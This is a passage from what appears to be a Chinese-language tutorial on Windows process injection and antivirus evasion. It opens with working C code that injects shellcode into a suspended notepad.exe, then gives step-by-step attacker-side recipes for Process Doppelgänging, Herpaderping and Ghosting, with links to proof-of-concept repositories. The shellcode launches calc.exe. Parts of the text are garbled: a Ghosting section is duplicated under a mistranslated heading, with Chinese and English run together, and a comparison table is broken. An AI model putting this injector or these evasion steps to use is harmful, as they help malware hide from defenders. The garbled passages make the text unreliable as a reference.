需要注意的是,尽管我们没有分配 RWX 权限的空间,但是 WriteProcessMemory 会临时地将 .text 节的 RX 权限更改为 RWX 权限,依旧可能被检测到。
代码如下:
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")
unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
int main() {
STARTUPINFOA si = { 0 };
si.cb = sizeof(STARTUPINFOA);
PROCESS_INFORMATION pi = { 0 };
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG returnLength = 0;
if (!CreateProcessA(NULL, (LPSTR)"C:\\windows\\system32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcessA failed. Error: %lu\n", GetLastError());
return 1;
}
NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
if (status != 0) {
printf("NtQueryInformationProcess failed. Status: 0x%x\n", status);
return 1;
}
printf("PEB Address: %p\n", pbi.PebBaseAddress);
PVOID imageBaseAddress;
SIZE_T bytesRead;
if (!ReadProcessMemory(pi.hProcess, (PBYTE)pbi.PebBaseAddress + sizeof(PVOID) * 2, &imageBaseAddress, sizeof(PVOID), &bytesRead)) {
printf("ReadProcessMemory (image base address) failed. Error: %lu\n", GetLastError());
return 1;
}
printf("Image Base Address: %p\n", imageBaseAddress);
BYTE headersBuffer[4096];
if (!ReadProcessMemory(pi.hProcess, imageBaseAddress, headersBuffer, sizeof(headersBuffer), NULL)) {
printf("ReadProcessMemory (headers) failed. Error: %lu\n", GetLastError());
return 1;
}
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dosHeader + dosHeader->e_lfanew);
DWORD entryPointRVA = ntHeaders->OptionalHeader.AddressOfEntryPoint;
PVOID entryPointVA = (PBYTE)imageBaseAddress + entryPointRVA;
printf("Entry Point Address: %p\n", entryPointVA);
if (!WriteProcessMemory(pi.hProcess, entryPointVA, shellcode, sizeof(shellcode), NULL)) {
printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
return 1;
}
if (ResumeThread(pi.hThread) == (DWORD)-1) {
printf("ResumeThread failed. Error: %lu\n", GetLastError());
return 1;
}
printf("Shellcode injected successfully.\n");
return 0;
}
这样,我们就得以在良性进程下运行 shellcode 了:
进程操纵
在 Windows 上,每个进程都与一个磁盘上的可执行文件关联,例如 svchost.exe,因为 Windows 从可执行文件启动进程,这些可执行文件通常是 EXE 格式的。
不过,进程与可执行文件并不能等效。为了启动一个新的进程,会有一系列步骤发生。在现代 Windows 上,通常在内核中通过 NtCreateUserProcess 执行,不过 NtCreateProcessEx 依旧有保留,为了向后兼容性。步骤如下:
- 打开可执行文件的句柄并且执行。例如 HANDLE file = CreateFileA(L"C:\\Windows\\System32\\svchost.exe")
- 为文件创建映像
区节(image section)。一个区节映射一个文件或者其部分至内存中。映像区节是一种特殊类型的区节,对应与 PE 文件,且只能从 PE 文件创建。例如 hSection = NtCreateSection(file, SEC_IMAGE) - 使用映像
区节创建进程,例如 hProcess = NtCreateProcessEx(hSection) - 为进程配置参数以及环境变量,例如 CreateEnvironmentBlock 或 NtWriteVirtualMemory
- 创建一个线程在进程中执行,如 NtCreateThreadEx
下图是 Process Monitor 中的视角:
进程是从可执行文件启动的,但可执行文件中的一些数据在映射到进程时会被修改。为了考虑这些更改,Windows 内存管理器在创建映像区节时对其进行缓存,这意味着映像区节会与其可执行文件不同。
鬼影多重化进程
鬼影进程,即 Process Ghosting。
流程
创建一个新文件通过使用NtSetInformationFile 函数将文件设置为删除中的状态 Put the file into a delete-pending state usingNtSetInformationFile(FileDispositionInformation). Note: Attempting to use FILE_DELETE_ON_CLOSE instead will not delete the file.将载荷写入文件。内容是非持久性的因为文件已经是删除中的状态,而且外部无法获得对该文件的句柄。Write the payload executable to the file. The content isn’t persisted because the file is already delete-pending. The delete-pending state also blocks external file-open attempts.为文件创建映像节Create an image section for the file.关闭句柄,删除文件Close the delete-pending handle, deleting the file.使用映像节来创建进程Create a process using the image section.赋予进程参数和环境变量Assign process arguments and environment variables.创建进程在进程下进行Create a thread to execute in the process.
https://github.com/hasherezade/process_ghosting
https://github.com/Wra7h/SharpGhosting/tree/main
https://github.com/dosxuz/ProcessGhosting
双多重进程
双重化进程,即 Process Doppelgänging。Windows Transactional NTFS (TxF),即事务 NTFS, 是 Vista 中引入的一种执行安全文件操作的方法。为了确保数据完整性,TxF 在给定时间仅允许一个事务处理句柄写入文件。直到写入句柄事务终止,所有其他事务处理都将被终止。句柄与写入器隔离,并且只能读取打开句柄时存在的文件的已提交版本。为了避免损坏,如果系统或应用程序在写入事务期间发生故障,TxF 会执行自动回滚。尽管已弃用,但从 Windows 10 开始,TxF 应用程序编程接口 (API) 仍然启用。
攻击者可能会利用 TxF 来执行进程注入的无文件变体。与 Process Hollowing 类似,进程 doppelgänging 涉及替换合法进程的内存,从而能够隐藏执行可能逃避防御和检测的恶意代码。进程 doppelgänging 的使用TxF 还避免使用高度监控的 API 函数,例如 NtUnmapViewOfSection、VirtualProtectEx 和 SetThreadContext。
流程 Doppelgänging 分 4 个步骤实施:
- Transact – 使用合法的可执行文件创建 TxF 交易,然后用恶意代码覆盖该文件。这些更改将被隔离,并且仅在交易上下文中可见。
- 加载 – 创建内存共享部分并加载恶意可执行文件。
- 回滚 – 撤消对原始可执行文件的更改,有效地从文件系统中删除恶意代码。
- Animate – 从内存的受污染部分创建一个进程并启动执行。
https://github.com/hasherezade/process_doppelganging
可以参考原文章 https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
赫尔帕德平进程
赫尔帕德平进程,即 Process Harpaderping,是一种通过在映射映像后修改磁盘上的内容来遮掩进程意图的方法。我们之前说了,安全产品通过在 Windows 内核中注册回调 PsSetCreateProcessNotifyRoutineEx 对进程的创建采取操作。此时,安全产品可以检查映像文件并确定是否应允许该进程被执行,不过该内核回调在插入初始线程时调用,而不是在创建进程对象时调用。
因此,攻击者可以创建并映射一个进程,修改文件内容,然后创建初始线程。在创建回调时进行检查的产品将会看到修改后的内容。此外,一些产品使用写入时扫描的方法,该方法包括监控文件写入操作。这里的一个常见优化是记录文件已被写入,并将实际检查推迟到 IRP_MJ_CLEANUP 发生时(例如,文件句柄关闭)。因此,一个使用写入->映射->修改->执行->关闭工作流的攻击者将会规避那些仅依赖于在 IRP_MJ_CLEANUP 时检查的写入时扫描。
为了滥用这一约定,我们首先将一个二进制文件写入磁盘上的目标文件。然后,我们映射目标文件的一个镜像,并提供给操作系统用于进程创建。操作系统会亲切地为我们映射原始二进制文件。使用现有的文件句柄,在创建初始线程之前,我们修改目标文件内容以遮蔽或伪造支持镜像的文件。一段时间后,我们创建初始线程以开始执行原始二进制文件。最后,我们将关闭目标文件句柄。让我们逐步分析这个过程:
- 将目标二进制文件写入磁盘,保持句柄打开。这是将在内存中执行的内容。
- 将文件映射为图像段(NtCreateSection, SEC_IMAGE)。
- 使用节句柄创建进程对象(NtCreateProcessEx)。
- 使用相同的目标文件句柄,遮蔽磁盘上的文件。
- 在进程中创建初始线程(NtCreateThreadEx)。
- 此时,内核中的进程创建回调将被触发。磁盘上的内容与映射的内容不匹配。此时对文件的检查将导致错误归因。
- 关闭句柄。IRP_MJ_CLEANUP 将在这里发生。
- 由于我们隐藏了正在执行的内容,此时的检查将导致错误归因。
https://github.com/jxy-s/herpaderping
幽灵进程
幽灵进程,即 Process Ghosting。微软为安全厂商提供了注册回调的能力,这些回调将在系统上创建进程和线程时被调用。驱动开发者可以调用如 PsSetCreateProcessNotifyRoutineEx 和 PsSetCreateThreadNotifyRoutineEx 等 API 来接收这类事件。尽管名称如此,PsSetCreateProcessNotifyRoutineEx 回调实际上并不是在进程创建时调用,而是在这些进程内的第一个线程创建时调用。这在进程创建和安全产品被通知其创建之间创建了一个间隙,还为恶意软件作者提供了一个窗口,在安全产品扫描它们之前篡改支持文件和节。
未公开的进程创建 API NtCreateProcess 使用的是节句柄,而不是文件句柄:
NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateProcess(
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ParentProcess,
_In_ BOOLEAN InheritObjectTable,
_In_opt_ HANDLE SectionHandle,
_In_opt_ HANDLE DebugPort,
_In_opt_ HANDLE ExceptionPort
);
当启动进程时,安全产品将获得有关正在启动的进程的以下信息:
typedef struct _PS_CREATE_NOTIFY_INFO {
SIZE_T Size;
union {
ULONG Flags;
struct {
ULONG FileOpenNameAvailable : 1;
ULONG IsSubsystemProcess : 1;
ULONG Reserved : 30;
};
};
HANDLE ParentProcessId;
CLIENT_ID CreatingThreadId;
struct _FILE_OBJECT *FileObject;
PCUNICODE_STRING ImageFileName;
PCUNICODE_STRING CommandLine;
NTSTATUS CreationStatus;
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;
值得关注的是 FILE_OBJECT,这是内核对象,对应于传递给 NtCreateSection 的 HANDLE。这个 FILE_OBJECT 通常对应于磁盘上的一个文件,可以对其进行恶意软件扫描。
安全产品还可以使用文件系统微过滤器(minifilter) 回调,这些回调在文件被创建、交互或关闭时接收通知。扫描每一次读写操作的系统影响可能相当大,因此出于性能考虑,文件通常在打开和关闭时被扫描。
我们可以在多重化进程和赫帕德平进程的基础上进一步操作,以运行已被删除的可执行文件。在 Windows 上删除文件有几种方式,包括:
- 使用 FILE_SUPERSEDE 或 CREATE_ALWAYS 标志创建一个新文件来覆盖旧文件
- 创建或打开文件时设置 FILE_DELETE_ON_CLOSE 或 FILE_FLAG_DELETE_ON_CLOSE 标志。
- 通过调用 NtSetInformationFile 并通过 FileDispositionInformation 文件信息类设置 FILE_DISPOSITION_INFORMATION 结构中的 DeleteFile 字段为 TRUE。
__kernel_entry NTSYSCALLAPI NTSTATUS NtSetInformationFile(
[in] HANDLE FileHandle,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] PVOID FileInformation,
[in] ULONG Length,
[in] FILE_INFORMATION_CLASS FileInformationClass
);
Windows 防止映射的可执行文件被修改,一旦文件被映射到一个镜像节中,尝试用 FILE_WRITE_DATA 打开它将因 ERROR_SHARING_VIOLATION 错误而失败。通过 FILE_DELETE_ON_CLOSE/FILE_FLAG_DELETE_ON_CLOSE 尝试删除会因 ERROR_SHARING_VIOLATION 错误而失败。NtSetInformationFile 需要 DELETE 访问权限。即使映射到镜像段的文件被授予了 DELETE 访问权限,NtSetInformationFile(FileDispositionInformation) 也会因 STATUS_CANNOT_DELETE 错误而失败。通过 FILE_SUPERCEDE/CREATE_ALWAYS 尝试删除会因 ACCESS_DENIED 而失败。
然而,这种删除限制只在可执行文件被映射到镜像节后才生效。这意味着可以创建一个文件,标记它为删除状态,将它映射到一个镜像段,关闭文件句柄以完成删除,然后从无文件的节创建进程,这便是进程幽灵。
攻击流程是:
- 创建一个文件
- 使用 NtSetInformationFile 将文件置于删除挂起状态。
- 向文件写入负载可执行文件。由于文件已处于删除挂起状态,内容不会被保留。删除挂起状态也阻止了外部文件打开该文件的尝试
- 为文件创建一个镜像节
- 关闭删除挂起的句柄,删除文件
- 使用镜像节创建一个进程
- 分配进程参数和环境变量
- 创建一个线程在进程中执行
在线程创建时调用的回调,发生在文件被删除之后。尝试打开文件或对已删除的文件进行 I/O 操作将因 STATUS_FILE_DELETED 错误而失败,在删除完成前尝试打开文件将因 STATUS_DELETE_PENDING 错误而失败。这种篡改手段也可以应用于 DLL,因为 DLL 也是映射的镜像节。
流程
- 创建一个新文件
- 通过使用NtSetInformationFile 函数将文件设置为删除中的状态 Put the file into a delete-pending state using NtSetInformationFile(FileDispositionInformation). Note: Attempting to use FILE_DELETE_ON_CLOSE instead will not delete the file.
- 将载荷写入文件。内容是非持久性的因为文件已经是删除中的状态,而且外部无法获得对该文件的句柄。Write the payload executable to the file. The content isn’t persisted because the file is already delete-pending. The delete-pending state also blocks external file-open attempts.
- 为文件创建映像节Create an image section for the file.
- 关闭句柄,删除文件Close the delete-pending handle, deleting the file.
- 使用映像节来创建进程Create a process using the image section.
- 赋予进程参数和环境变量Assign process arguments and environment variables.
- 创建进程在进程下进行Create a thread to execute in the process.
https://github.com/hasherezade/process_ghosting
https://github.com/Wra7h/SharpGhosting/tree/main
https://github.com/dosxuz/ProcessGhosting
类型 |
|
多重进程 |
事务 -> 写 -> 映射 -> 回滚 -> 执行 |
赫帕德平进程 |
关闭
|
幽灵进程 |
执行
|
进程重映像
进程重映像,即 Process Reimaging。
https://www.elastic.co/cn/blog/process-ghosting-a-new-executable-image-tampering-attack
https://github.com/djhohnstein/ProcessReimaging